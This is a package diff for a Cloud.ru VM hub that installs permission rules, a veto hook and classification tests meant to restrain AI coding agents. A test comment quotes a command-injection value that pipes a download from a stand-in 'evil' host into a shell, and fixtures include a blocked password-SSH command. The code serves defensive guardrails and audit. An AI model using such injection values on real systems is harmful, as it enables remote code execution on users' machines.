@dzhechkov/cloudru-hub 0.1.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/src/install.js ADDED
@@ -0,0 +1,252 @@
1
+ 'use strict';
2
+ // Per-target installer — ADR-005 tiering (tier derived from flow requirements R1–R5,
3
+ // live-probe discipline) + ADR-004 brake emission (permission ask/deny + PreToolUse veto).
4
+ //
5
+ // Tier map (ADR-005 Decision, applied verbatim):
6
+ // claude-code FULL candidate — full install path (this module emits it)
7
+ // codex FULL candidate #2 — plan printed, NOT auto-applied (delivery requires an
8
+ // EXECUTED veto probe; project hooks.json is a measured silent no-op)
9
+ // openclaude / opencode / cursor / windsurf / copilot
10
+ // DEGRADED-until-proven — installer REFUSES (no live probe delivered yet)
11
+ // agents-md / gemini
12
+ // POINTER-ONLY — ≤2048-char pointer + no-veto warning, never a fake install
13
+ //
14
+ // The installer NEVER claims success without executing the brake: after emitting files it
15
+ // RUNS the forbidden-command fixtures through the emitted hook and requires the block
16
+ // (ADR-004/ADR-005: "наличие файла хука — не evidence"; layout ≠ registration).
17
+
18
+ const fs = require('fs');
19
+ const path = require('path');
20
+ const { spawnSync } = require('child_process');
21
+ const { permissionRules } = require('./classification');
22
+
23
+ const HOOK_TEMPLATE = path.join(__dirname, '..', 'templates', '.claude', 'hooks', 'cloudru-ssh-guard.cjs');
24
+ const POINTER_TEMPLATE = path.join(__dirname, '..', 'data', 'pointer-section.md');
25
+
26
+ const TIERS = {
27
+ 'claude-code': 'full',
28
+ codex: 'plan-only',
29
+ openclaude: 'degraded',
30
+ opencode: 'degraded',
31
+ cursor: 'degraded',
32
+ windsurf: 'degraded',
33
+ copilot: 'degraded',
34
+ 'agents-md': 'pointer',
35
+ gemini: 'pointer',
36
+ };
37
+
38
+ const DEGRADED_REASONS = {
39
+ openclaude: 'all three legs exist upstream (.mcp.json, PreToolUse deny, .openclaude/skills) but NOTHING has been probed live — degraded-until-proven (ADR-005).',
40
+ opencode: 'MCP + veto plugins are documented, zero live runs; R4 (tool budget deferral) unverified (ADR-005).',
41
+ cursor: 'veto hooks documented only; R3 broken by the .mdc adapter, R4 truncation history (~40 tools) unresolved (ADR-005).',
42
+ windsurf: 'R4 FAILS as-is: Cascade budget 100 tools < 144 — needs the engine tool-profile before any delivery (ADR-005).',
43
+ copilot: 'only Copilot CLI is a candidate; the coding agent fails R2 by construction ("will not ask for your approval" + hook timeout fail-open) (ADR-005).',
44
+ };
45
+
46
+ // ── pure merge helpers (p-replicator pattern: add, union, never overwrite/remove user config) ──
47
+
48
+ function mergeHookEvents(existing, template) {
49
+ const merged = { ...existing };
50
+ for (const [event, tplGroups] of Object.entries(template)) {
51
+ const cur = Array.isArray(merged[event]) ? merged[event] : [];
52
+ const result = cur.map((m) => ({ ...m, hooks: [...(m.hooks || [])] }));
53
+ for (const tplEntry of tplGroups) {
54
+ const target = result.find((e) => e.matcher === tplEntry.matcher);
55
+ if (!target) {
56
+ result.push({ ...tplEntry, hooks: [...(tplEntry.hooks || [])] });
57
+ continue;
58
+ }
59
+ const existingCmds = new Set(target.hooks.map((h) => h.command));
60
+ for (const tplHook of tplEntry.hooks || []) {
61
+ if (!existingCmds.has(tplHook.command)) target.hooks.push(tplHook);
62
+ }
63
+ }
64
+ merged[event] = result;
65
+ }
66
+ return merged;
67
+ }
68
+
69
+ function unionSorted(a, b) {
70
+ return [...new Set([...(a || []), ...(b || [])])].sort();
71
+ }
72
+
73
+ /** Union-merge our settings fragment into an existing settings object. User entries are
74
+ * never removed; our deny additions cannot be silently dropped (union). */
75
+ function mergeSettings(existing, fragment) {
76
+ const merged = { ...(existing || {}) };
77
+ if (fragment.permissions) {
78
+ const cur = merged.permissions && typeof merged.permissions === 'object' ? merged.permissions : {};
79
+ merged.permissions = {
80
+ ...cur,
81
+ allow: unionSorted(cur.allow, fragment.permissions.allow),
82
+ ask: unionSorted(cur.ask, fragment.permissions.ask),
83
+ deny: unionSorted(cur.deny, fragment.permissions.deny),
84
+ };
85
+ }
86
+ if (fragment.enabledMcpjsonServers) {
87
+ merged.enabledMcpjsonServers = unionSorted(merged.enabledMcpjsonServers, fragment.enabledMcpjsonServers);
88
+ }
89
+ if (fragment.hooks) merged.hooks = mergeHookEvents(merged.hooks || {}, fragment.hooks);
90
+ return merged;
91
+ }
92
+
93
+ /** The settings fragment for claude-code — the ADR-004 brake as data. */
94
+ function claudeSettingsFragment(hookCommand) {
95
+ const rules = permissionRules();
96
+ return {
97
+ permissions: { allow: rules.allow, ask: rules.ask, deny: rules.deny },
98
+ enabledMcpjsonServers: ['cloudru-vm'],
99
+ hooks: {
100
+ PreToolUse: [
101
+ { matcher: 'Bash', hooks: [{ type: 'command', command: hookCommand, timeout: 10 }] },
102
+ { matcher: 'mcp__cloudru[-_]vm__k8s_kubectl', hooks: [{ type: 'command', command: hookCommand, timeout: 10 }] },
103
+ ],
104
+ },
105
+ };
106
+ }
107
+
108
+ function readJson(file) {
109
+ try {
110
+ return JSON.parse(fs.readFileSync(file, 'utf8'));
111
+ } catch {
112
+ return null;
113
+ }
114
+ }
115
+
116
+ function writeJson(file, obj) {
117
+ fs.mkdirSync(path.dirname(file), { recursive: true });
118
+ fs.writeFileSync(file, JSON.stringify(obj, null, 2) + '\n');
119
+ }
120
+
121
+ /**
122
+ * Execute the emitted brake against the ADR-004 acid fixtures and REQUIRE the veto.
123
+ * Returns {ok, results:[{fixture, expected, got}]}. An installer that skips this and
124
+ * declares success anyway is the health-advisor-1.2.0 failure class.
125
+ */
126
+ function probeBrake(hookPath) {
127
+ const fixtures = [
128
+ { name: 'sshpass-password-ssh', payload: { tool_name: 'Bash', tool_input: { command: 'sshpass -p hunter2 ssh user1@1.2.3.4' } }, expect: 2 },
129
+ { name: 'keyed-ssh-allowed', payload: { tool_name: 'Bash', tool_input: { command: 'ssh -i /tmp/key user1@1.2.3.4 uptime' } }, expect: 0 },
130
+ { name: 'kubectl-rollout-restart-denied', payload: { tool_name: 'mcp__cloudru-vm__k8s_kubectl', tool_input: { args: 'rollout restart deployment/app' } }, expect: 2 },
131
+ { name: 'kubectl-rollout-status-allowed', payload: { tool_name: 'mcp__cloudru-vm__k8s_kubectl', tool_input: { args: 'rollout status deployment/app' } }, expect: 0 },
132
+ ];
133
+ const results = [];
134
+ let ok = true;
135
+ for (const f of fixtures) {
136
+ const r = spawnSync(process.execPath, [hookPath], { input: JSON.stringify(f.payload), encoding: 'utf8', timeout: 10_000 });
137
+ const got = typeof r.status === 'number' ? r.status : -1;
138
+ if (got !== f.expect) ok = false;
139
+ results.push({ fixture: f.name, expected: f.expect, got });
140
+ }
141
+ return { ok, results };
142
+ }
143
+
144
+ /**
145
+ * Install into a project dir for a target. Pure I/O orchestration; returns
146
+ * {code, lines:[...]} — code 0 success, 2 refused (degraded), 3 plan-only, 1 failure.
147
+ */
148
+ function install(target, projectDir, opts = {}) {
149
+ const lines = [];
150
+ const tier = TIERS[target];
151
+ if (!tier) {
152
+ return { code: 1, lines: [`cloudru-hub install: unknown target "${target}" (known: ${Object.keys(TIERS).join(', ')})`] };
153
+ }
154
+
155
+ if (tier === 'degraded') {
156
+ return {
157
+ code: 2,
158
+ lines: [
159
+ `cloudru-hub install: REFUSED for target "${target}" (tier DEGRADED, ADR-005).`,
160
+ ` Reason: ${DEGRADED_REASONS[target]}`,
161
+ ' A mutating flow without a live-probed deterministic brake is not delivered on any tier.',
162
+ ],
163
+ };
164
+ }
165
+
166
+ if (tier === 'pointer') {
167
+ const pointer = fs.readFileSync(POINTER_TEMPLATE, 'utf8');
168
+ const out = path.join(projectDir, 'CLOUDRU-POINTER.md');
169
+ fs.mkdirSync(projectDir, { recursive: true });
170
+ fs.writeFileSync(out, pointer);
171
+ return {
172
+ code: 0,
173
+ lines: [
174
+ `cloudru-hub install: target "${target}" is POINTER-ONLY (ADR-005) — no tools, no executable instructions, no fake support.`,
175
+ ` Wrote ${out} (${Buffer.byteLength(pointer)} bytes). Append it to your ${target === 'gemini' ? 'GEMINI.md' : 'AGENTS.md'}.`,
176
+ ' ⚠ It contains the mandatory no-veto warning — do not strip it.',
177
+ ],
178
+ };
179
+ }
180
+
181
+ if (tier === 'plan-only') {
182
+ // codex: strongest non-Claude-Code target, but hooks are user-global-only and a
183
+ // non-executed veto is indistinguishable from an absent one (measured, codex.md §3).
184
+ return {
185
+ code: 3,
186
+ lines: [
187
+ 'cloudru-hub install: target "codex" — plan printed, NOT auto-applied (ADR-005: delivery requires an EXECUTED veto probe).',
188
+ ' 1. codex mcp add cloudru-vm -- cloudru-hub mcp # registers the stdio server in ~/.codex/config.toml',
189
+ ` 2. Merge into ~/.codex/hooks.json (user-global ONLY — project hooks.json is a measured silent no-op):`,
190
+ ` {"hooks":{"preToolUse":[{"command":"node ${HOOK_TEMPLATE}"}]}}`,
191
+ ' 3. MANDATORY probe: in a codex session run `sshpass -p x ssh user1@1.2.3.4` and CONFIRM the block message.',
192
+ ' A hook file on disk is NOT evidence (health-advisor 1.2.0 lesson: layout ≠ registration).',
193
+ ],
194
+ };
195
+ }
196
+
197
+ // ── claude-code FULL path ──
198
+ const claudeDir = path.join(projectDir, '.claude');
199
+ const hookDest = path.join(claudeDir, 'hooks', 'cloudru-ssh-guard.cjs');
200
+ fs.mkdirSync(path.dirname(hookDest), { recursive: true });
201
+ fs.copyFileSync(HOOK_TEMPLATE, hookDest);
202
+ fs.chmodSync(hookDest, 0o755);
203
+ const hookCommand = 'node .claude/hooks/cloudru-ssh-guard.cjs';
204
+
205
+ // .mcp.json (project root — .claude/mcp.json is NOT read by Claude Code, measured gap G5)
206
+ const mcpFile = path.join(projectDir, '.mcp.json');
207
+ const mcp = readJson(mcpFile) || {};
208
+ const servers = mcp.mcpServers && typeof mcp.mcpServers === 'object' ? mcp.mcpServers : {};
209
+ const launcherBin = path.join(__dirname, '..', 'bin', 'cloudru-hub.js');
210
+ servers['cloudru-vm'] = opts.npx
211
+ ? { command: 'npx', args: ['-y', '@dzhechkov/cloudru-hub', 'mcp'] }
212
+ : { command: 'node', args: [launcherBin, 'mcp'] };
213
+ mcp.mcpServers = servers;
214
+ writeJson(mcpFile, mcp);
215
+
216
+ // .claude/settings.json — permissions brake + hooks (merge, never clobber)
217
+ const settingsFile = path.join(claudeDir, 'settings.json');
218
+ const merged = mergeSettings(readJson(settingsFile), claudeSettingsFragment(hookCommand));
219
+ writeJson(settingsFile, merged);
220
+
221
+ const rules = permissionRules();
222
+ lines.push(`cloudru-hub install: claude-code files emitted into ${projectDir}`);
223
+ lines.push(` .mcp.json cloudru-vm server (${opts.npx ? 'npx form' : 'local launcher path'})`);
224
+ lines.push(` .claude/settings.json permissions: ${rules.allow.length} allow / ${rules.ask.length} ask / ${rules.deny.length} deny rules (both mcp__cloudru-vm__ and mcp__cloudru_vm__ spellings until the prefix is live-probed)`);
225
+ lines.push(' .claude/hooks/cloudru-ssh-guard.cjs PreToolUse veto (Bash ssh-guard + kubectl rollout guard)');
226
+
227
+ // The EXECUTED veto — success is conditional on the block being observed.
228
+ const probe = probeBrake(hookDest);
229
+ for (const r of probe.results) {
230
+ lines.push(` probe ${r.fixture}: expected exit ${r.expected}, got ${r.got} ${r.expected === r.got ? '✓' : '✗'}`);
231
+ }
232
+ if (!probe.ok) {
233
+ lines.push('cloudru-hub install: ✗ the emitted brake did NOT veto the forbidden fixture — NOT installed (a non-executing hook is indistinguishable from an absent one).');
234
+ return { code: 1, lines };
235
+ }
236
+ lines.push('cloudru-hub install: ✓ veto EXECUTED and observed on the forbidden fixtures.');
237
+ lines.push(' Remaining manual probe (cannot be machine-checked from here, ADR-004 Confirmation): in a fresh');
238
+ lines.push(' Claude Code session, call a mutating tool (e.g. mcp__cloudru-vm__deploy) and confirm a permission');
239
+ lines.push(' prompt appears instead of execution; record which mcp__ prefix spelling the runtime used.');
240
+ return { code: 0, lines };
241
+ }
242
+
243
+ module.exports = {
244
+ TIERS,
245
+ DEGRADED_REASONS,
246
+ HOOK_TEMPLATE,
247
+ mergeSettings,
248
+ mergeHookEvents,
249
+ claudeSettingsFragment,
250
+ probeBrake,
251
+ install,
252
+ };
package/src/resolve.js ADDED
@@ -0,0 +1,101 @@
1
+ 'use strict';
2
+ // Engine binary resolution — ADR-002: the Go engine is located at RUNTIME, never bundled.
3
+ // Resolution order (first hit wins):
4
+ // 1. env CLOUDRU_VM_BIN — explicit path (local baseline testing)
5
+ // 2. config enginePath — ~/.cloudru-hub/config.json (or $CLOUDRU_HUB_CONFIG)
6
+ // 3. platform package @dzhechkov/cloudru-vm-<os>-<cpu>/native/cloudru-vm
7
+ // (does not exist until the ADR-001 licence grant clears — see LICENSE Part 2)
8
+ // 4. loud, esbuild-style error explaining all three paths and the licence hold.
9
+ //
10
+ // sha256 policy: the resolved binary is hashed and compared against the pinned map in
11
+ // package.json `cloudruHub.binaryHashes` (ADR-002 point 2, esbuild.binaryHashes pattern).
12
+ // - platform-package path: mismatch is a HARD error (supply-chain: registry artifact
13
+ // must be byte-exact against the pin);
14
+ // - env/config path: mismatch is reported (`verified:false`) but tolerated — the owner
15
+ // points these at development builds by design.
16
+
17
+ const fs = require('fs');
18
+ const os = require('os');
19
+ const path = require('path');
20
+ const crypto = require('crypto');
21
+
22
+ const PKG = require('../package.json');
23
+
24
+ function platformKey() {
25
+ return `${process.platform === 'darwin' ? 'darwin' : process.platform}-${process.arch}`;
26
+ }
27
+
28
+ function sha256File(file) {
29
+ return crypto.createHash('sha256').update(fs.readFileSync(file)).digest('hex');
30
+ }
31
+
32
+ function configPath(env) {
33
+ return (env.CLOUDRU_HUB_CONFIG && String(env.CLOUDRU_HUB_CONFIG)) ||
34
+ path.join(os.homedir(), '.cloudru-hub', 'config.json');
35
+ }
36
+
37
+ function readConfig(env) {
38
+ try {
39
+ const raw = fs.readFileSync(configPath(env), 'utf8');
40
+ const parsed = JSON.parse(raw);
41
+ return parsed && typeof parsed === 'object' ? parsed : {};
42
+ } catch {
43
+ return {};
44
+ }
45
+ }
46
+
47
+ /**
48
+ * Resolve the engine binary WITHOUT touching the network.
49
+ * @param {NodeJS.ProcessEnv} env
50
+ * @returns {{path:string, source:'env'|'config'|'platform-package', sha256:string,
51
+ * verified:boolean, pinned:string|null, key:string} | {error:string}}
52
+ */
53
+ function resolveEngine(env = process.env) {
54
+ const key = platformKey();
55
+ const pinned = (PKG.cloudruHub && PKG.cloudruHub.binaryHashes && PKG.cloudruHub.binaryHashes[key]) || null;
56
+
57
+ const candidates = [];
58
+ if (env.CLOUDRU_VM_BIN) candidates.push({ path: String(env.CLOUDRU_VM_BIN), source: 'env' });
59
+ const cfg = readConfig(env);
60
+ if (cfg.enginePath) candidates.push({ path: String(cfg.enginePath), source: 'config' });
61
+ const platformPkg = PKG.cloudruHub && PKG.cloudruHub.platformPackages && PKG.cloudruHub.platformPackages[key];
62
+ if (platformPkg) {
63
+ try {
64
+ const pkgJson = require.resolve(`${platformPkg}/package.json`);
65
+ candidates.push({ path: path.join(path.dirname(pkgJson), 'native', 'cloudru-vm'), source: 'platform-package' });
66
+ } catch {
67
+ /* optional platform package not installed — expected while the ADR-001 hold is in force */
68
+ }
69
+ }
70
+
71
+ for (const cand of candidates) {
72
+ if (!fs.existsSync(cand.path)) continue;
73
+ let st;
74
+ try { st = fs.statSync(cand.path); } catch { continue; }
75
+ if (!st.isFile()) continue;
76
+ const sha = sha256File(cand.path);
77
+ const verified = pinned !== null && sha === pinned;
78
+ if (cand.source === 'platform-package' && !verified) {
79
+ return {
80
+ error:
81
+ `cloudru-hub: platform package binary at ${cand.path} does NOT match the pinned sha256 for ${key}\n` +
82
+ ` expected ${pinned}\n actual ${sha}\n` +
83
+ 'Refusing to run an unpinned registry artifact (ADR-002 supply-chain rule).',
84
+ };
85
+ }
86
+ return { path: cand.path, source: cand.source, sha256: sha, verified, pinned, key };
87
+ }
88
+
89
+ return {
90
+ error:
91
+ 'cloudru-hub: could not locate the cloudru-vm engine binary. It is resolved at runtime, never bundled (ADR-002).\n' +
92
+ 'Tried, in order:\n' +
93
+ ` 1. $CLOUDRU_VM_BIN ${env.CLOUDRU_VM_BIN ? `(set, but not a file: ${env.CLOUDRU_VM_BIN})` : '(unset)'}\n` +
94
+ ` 2. enginePath in ${configPath(env)} ${cfg.enginePath ? `(set, but not a file: ${cfg.enginePath})` : '(unset/absent)'}\n` +
95
+ ` 3. optional dependency ${(PKG.cloudruHub && PKG.cloudruHub.platformPackages && PKG.cloudruHub.platformPackages[key]) || '<none for ' + key + '>'} (not installed)\n` +
96
+ 'Local testing: point $CLOUDRU_VM_BIN at an engine build (see docs/LOCAL-TESTING.md).\n' +
97
+ 'The hosted platform package does not exist yet: its first publication still requires the ADR-002 trusted-CI binary build (see LICENSE Part 2 and THIRD_PARTY_NOTICES).',
98
+ };
99
+ }
100
+
101
+ module.exports = { resolveEngine, platformKey, sha256File, configPath };
@@ -0,0 +1,80 @@
1
+ #!/usr/bin/env node
2
+ // cloudru-ssh-guard — PreToolUse veto hook (Claude Code contract), ported from the
3
+ // upstream hooks/cloudru-ssh-guard.py per ADR-004 Decision 2(a).
4
+ //
5
+ // Contract differences vs the Hermes original (all three MEASURED in 00_research/02 §C? / 01 §7):
6
+ // matcher : tool_name === "Bash" (Hermes: "terminal")
7
+ // veto mechanism : exit 2 + stderr message (Hermes: {"action":"block"} on stdout)
8
+ // payload : {tool_name, tool_input:{command}} on stdin (same shape, different names)
9
+ //
10
+ // Additionally guards mcp__cloudru-vm__k8s_kubectl (ADR-004 Decision 2(b)): kubectl
11
+ // `rollout` with any sub-verb other than status|history mutates production without the
12
+ // engine's confirmed-gate (MEASURED upstream hole, 05 §2.3) — deny here, independent of
13
+ // any upstream fix (two independent belts, ADR-010 Consequences).
14
+ //
15
+ // Fail-open ONLY for unparseable input (a broken hook must not brick every Bash call);
16
+ // a PARSED paid-step command is always answered deterministically. Exit codes:
17
+ // 0 = allow, 2 = deny (stderr explains to the model).
18
+ 'use strict';
19
+
20
+ function readStdin() {
21
+ const fs = require('fs');
22
+ try {
23
+ return fs.readFileSync(0, 'utf8');
24
+ } catch {
25
+ return '';
26
+ }
27
+ }
28
+
29
+ /** @returns {string|null} deny reason, or null to allow */
30
+ function decide(payload) {
31
+ if (!payload || typeof payload !== 'object') return null;
32
+ const tool = String(payload.tool_name || '');
33
+ const input = payload.tool_input && typeof payload.tool_input === 'object' ? payload.tool_input : {};
34
+
35
+ if (tool === 'Bash') {
36
+ const cmd = String(input.command || '');
37
+ // Port of the two upstream regexes, verbatim semantics (ADR-004: "регэкспы переносятся как есть").
38
+ if (/sshpass/.test(cmd) && /@\d+\.\d+\.\d+\.\d+/.test(cmd)) {
39
+ return 'Парольный SSH (sshpass) к Cloud.ru ВМ запрещён. Ключ на ВМ ЕСТЬ — движок кладёт его сам. Возьми ssh-команду из ответа deploy_apply ДОСЛОВНО (в ней уже -i <deploy key>).';
40
+ }
41
+ if (/\bssh\b[^\n|;&]*\buser1@\d+\.\d+\.\d+\.\d+/.test(cmd) && !cmd.includes(' -i ')) {
42
+ return 'SSH к Cloud.ru ВМ без деплой-ключа (-i) запрещён. Возьми ssh-команду из ответа deploy_apply ДОСЛОВНО: в ней уже -i <deploy key>.';
43
+ }
44
+ return null;
45
+ }
46
+
47
+ // ADR-004 2(b): close the measured `rollout` classification hole on OUR side.
48
+ if (/^mcp__cloudru[-_]vm__k8s_kubectl$/.test(tool)) {
49
+ const args = String(input.args || input.command || '');
50
+ const m = /(?:^|\s)rollout\s+([a-z-]+)/.exec(args);
51
+ if (m && m[1] !== 'status' && m[1] !== 'history') {
52
+ return `kubectl rollout ${m[1]} мутирует прод без подтверждения (измеренная дыра классификатора движка). Разрешены только rollout status|history; для мутации получи явное "да" пользователя и вызови мутирующий тул с confirmed=true.`;
53
+ }
54
+ return null;
55
+ }
56
+
57
+ return null;
58
+ }
59
+
60
+ function main() {
61
+ if (process.argv.includes('--help') || process.argv.includes('-h')) {
62
+ process.stdout.write('cloudru-ssh-guard: PreToolUse veto hook — reads {tool_name, tool_input} JSON on stdin; exit 0 = allow, exit 2 = deny (reason on stderr).\n');
63
+ process.exit(0);
64
+ }
65
+ let payload = null;
66
+ try {
67
+ payload = JSON.parse(readStdin());
68
+ } catch {
69
+ process.exit(0); // unparseable input: never brick the session (matches upstream behaviour)
70
+ }
71
+ const reason = decide(payload);
72
+ if (reason) {
73
+ process.stderr.write('⛔ ' + reason + '\n');
74
+ process.exit(2);
75
+ }
76
+ process.exit(0);
77
+ }
78
+
79
+ if (require.main === module) main();
80
+ module.exports = { decide };
@@ -0,0 +1,151 @@
1
+ // Golden classification tests — ADR-004 Confirmation layer 1: every mutating tool must be
2
+ // covered by the emitted permission template; a live tool unknown to the classifier fails.
3
+ import { test } from 'node:test';
4
+ import assert from 'node:assert/strict';
5
+ import { createRequire } from 'node:module';
6
+
7
+ const require = createRequire(import.meta.url);
8
+ const {
9
+ loadClassification, loadSnapshot, namesByPermission, permissionRules, coverageGaps, SERVER_PREFIXES,
10
+ } = require('../src/classification.js');
11
+
12
+ const cls = loadClassification();
13
+ const snap = loadSnapshot();
14
+
15
+ test('every snapshot tool is classified, and nothing extra', () => {
16
+ const snapNames = snap.tools.map((t) => t.name).sort();
17
+ const clsNames = Object.keys(cls.tools).sort();
18
+ assert.deepEqual(clsNames, snapNames);
19
+ assert.equal(snapNames.length, 144);
20
+ });
21
+
22
+ test('counts are the reviewed golden split: 65 ask / 2 deny / 77 allow', () => {
23
+ assert.deepEqual(cls.counts, { ask: 65, deny: 2, allow: 77 });
24
+ const by = namesByPermission(cls);
25
+ assert.equal(by.ask.length, 65);
26
+ assert.equal(by.deny.length, 2);
27
+ assert.equal(by.allow.length, 77);
28
+ });
29
+
30
+ // --- Invariant of the 2026-08-10 behaviour re-audit (cross-model QE HIGH finding) ---
31
+ // stack_status ADVANCES a planned/running job server-side: handleStackStatus
32
+ // (tools_stack.go:451) calls advance() (:479-484), which starts pending steps via
33
+ // s.callTool (:220) — invoking the paid create tools with no confirmation.
34
+ // LIVE-REPRODUCED: one stack_status call moved a planned job planned→running and
35
+ // attempted `provision` (stopped only at AUTH_REQUIRED). If this ever flips back to
36
+ // allow, the fully-frictionless chain stack_plan→stack_status provisions a billable
37
+ // stack with ZERO permission prompts — defeating the ADR-004 brake.
38
+ test('stack_status is ASK — it advances jobs and invokes paid create tools (tools_stack.go:479→:220)', () => {
39
+ assert.equal(cls.tools.stack_status.permission, 'ask');
40
+ assert.equal(cls.tools.stack_status.effect, 'mutating');
41
+ const rules = permissionRules(cls);
42
+ assert.ok(rules.ask.includes('mcp__cloudru-vm__stack_status'));
43
+ assert.ok(rules.ask.includes('mcp__cloudru_vm__stack_status'));
44
+ assert.ok(!rules.allow.some((r) => r.endsWith('__stack_status')), 'stack_status must never be emitted as allow');
45
+ });
46
+
47
+ test('the stack chain: only the pure plan is allow — every advancing/applying/destroying step is ask', () => {
48
+ assert.equal(cls.tools.stack_plan.permission, 'allow'); // verified: persists a LOCAL job file only, creates nothing
49
+ for (const name of ['stack_apply', 'stack_status', 'stack_destroy']) {
50
+ assert.equal(cls.tools[name].permission, 'ask', name);
51
+ }
52
+ });
53
+
54
+ // --- Invariant of the 2026-08-10 shell-reach re-audit (AM-2, cross-model QE HIGH) ---
55
+ // The classification method has a SECOND hazard axis: a tool is allow ONLY if it does NOT
56
+ // pass a user-controlled arg into a remote shell. `logs` does — handleLogs (tools.go:1758)
57
+ // hands the user `service` arg to engine.Logs, which concatenates it RAW into a remote
58
+ // `docker compose logs <service>` (engine/logs.go:61) run via SSH CombinedOutput
59
+ // (internal/deploy/ssh.go:117). service="app; curl evil | sh" ⇒ arbitrary RCE on the
60
+ // user's VM. If this flips back to allow the injection sits behind a SILENT allow — a
61
+ // zero-prompt command-injection path defeating the ADR-004 brake.
62
+ test('logs is ASK — it concatenates a user-controlled service arg into a remote shell (logs.go:61 → ssh.go:117)', () => {
63
+ assert.equal(cls.tools.logs.permission, 'ask');
64
+ const rules = permissionRules(cls);
65
+ assert.ok(rules.ask.includes('mcp__cloudru-vm__logs'));
66
+ assert.ok(rules.ask.includes('mcp__cloudru_vm__logs'));
67
+ assert.ok(!rules.allow.some((r) => r.endsWith('__logs')), 'logs must never be emitted as allow');
68
+ });
69
+
70
+ // The method doc (the $comment) must keep documenting BOTH hazard axes — losing the
71
+ // shell-reach axis silently is the exact regression that let `logs` sit in allow. This is
72
+ // a layer-1 guard on the METHOD, not just the instance.
73
+ test('the classification method doc documents the shell-reach hazard axis and the engine-injection flag', () => {
74
+ assert.match(cls.$comment, /shell-reach/i, 'method doc must name the shell-reach hazard axis');
75
+ assert.match(cls.$comment, /user-controlled argument into a shell/i);
76
+ assert.match(cls.$comment, /shell-escape opts\.Service/i, 'method doc must record the flagged engine injection');
77
+ });
78
+
79
+ // No allow tool may reach a shell: every allow entry must be free of the shell-reach
80
+ // markers the audit tracks. A future allow entry whose `why` admits a shell-reach (Exec /
81
+ // CombinedOutput / raw command concat) is a classification error and goes red here.
82
+ test('no allow entry admits a shell-reach in its why (the AM-2 axis is applied to every allow)', () => {
83
+ for (const [name, c] of Object.entries(cls.tools)) {
84
+ if (c.permission !== 'allow') continue;
85
+ assert.doesNotMatch(c.why, /shell-reach|CombinedOutput|Deployer\.Exec|cmd \+=/i,
86
+ `${name}: an allow tool must not admit a shell-reach in its why`);
87
+ }
88
+ });
89
+
90
+ // Method invariant: "no confirmed prop in the schema" is a SHAPE check and is NEVER
91
+ // sufficient for allow — that heuristic is exactly what mis-filed stack_status as
92
+ // read-only. Every allow entry must carry behaviour-audit evidence citing the engine
93
+ // handler (file:line) that proves the handler is genuinely read-only.
94
+ test('every allow entry cites a handler behaviour audit, not the schema-shape heuristic', () => {
95
+ for (const [name, c] of Object.entries(cls.tools)) {
96
+ if (c.permission !== 'allow') continue;
97
+ assert.match(c.why, /behaviour-audited/, `${name}: allow requires behaviour-audit evidence in why`);
98
+ assert.match(c.why, /\.go:\d+/, `${name}: allow why must cite the engine handler file:line`);
99
+ assert.ok(!/no confirmed prop/.test(c.why), `${name}: shape heuristic must not justify allow`);
100
+ }
101
+ });
102
+
103
+ test('the two plaintext-secret reads are DENY (ADR-004 §1)', () => {
104
+ const by = namesByPermission(cls);
105
+ assert.deepEqual(by.deny.sort(), ['cert_private_key', 'secret_value']);
106
+ });
107
+
108
+ test('the MEASURED ungated mutators (05 §2.2) are all ASK — the engine gate does not cover them', () => {
109
+ for (const name of ['deploy', 'provision', 'vm_exec', 'ca_start', 'ca_stop', 'cert_issue_le', 'cert_import', 'cert_renew', 's3_put', 's3_bucket_create']) {
110
+ assert.equal(cls.tools[name].permission, 'ask', `${name} must be ask`);
111
+ assert.equal(cls.tools[name].effect, 'mutating');
112
+ }
113
+ });
114
+
115
+ test('every tool whose schema declares `confirmed` is ask or deny — never allow', () => {
116
+ for (const t of snap.tools) {
117
+ if (!t.gated) continue;
118
+ assert.notEqual(cls.tools[t.name].permission, 'allow', `${t.name} is engine-gated (confirmed prop) but classified allow`);
119
+ }
120
+ });
121
+
122
+ test('read-only recon stays frictionless: vm_list, billing_*, deploy_plan are allow', () => {
123
+ for (const name of ['vm_list', 'billing_balance', 'billing_consumption', 'deploy_plan', 'list_zones', 'status']) {
124
+ assert.equal(cls.tools[name].permission, 'allow', name);
125
+ }
126
+ });
127
+
128
+ test('permissionRules expands every name in BOTH prefix spellings (unverified normalization, deny-by-default)', () => {
129
+ const rules = permissionRules(cls);
130
+ assert.equal(SERVER_PREFIXES.length, 2);
131
+ assert.equal(rules.ask.length, 65 * 2);
132
+ assert.equal(rules.deny.length, 2 * 2);
133
+ assert.equal(rules.allow.length, 77 * 2);
134
+ assert.ok(rules.ask.includes('mcp__cloudru-vm__deploy'));
135
+ assert.ok(rules.ask.includes('mcp__cloudru_vm__deploy'));
136
+ assert.ok(rules.deny.includes('mcp__cloudru-vm__secret_value'));
137
+ assert.ok(rules.deny.includes('mcp__cloudru_vm__secret_value'));
138
+ });
139
+
140
+ test('coverageGaps: an unknown live tool is a drift finding, never silently allowed', () => {
141
+ const live = [...snap.tools.map((t) => t.name), 'vm_teleport'];
142
+ const gaps = coverageGaps(live, cls);
143
+ assert.deepEqual(gaps.unknown, ['vm_teleport']);
144
+ assert.deepEqual(gaps.missing, []);
145
+ });
146
+
147
+ test('coverageGaps: a classified tool missing from the live list is reported the other way', () => {
148
+ const live = snap.tools.map((t) => t.name).filter((n) => n !== 'deploy');
149
+ const gaps = coverageGaps(live, cls);
150
+ assert.deepEqual(gaps.missing, ['deploy']);
151
+ });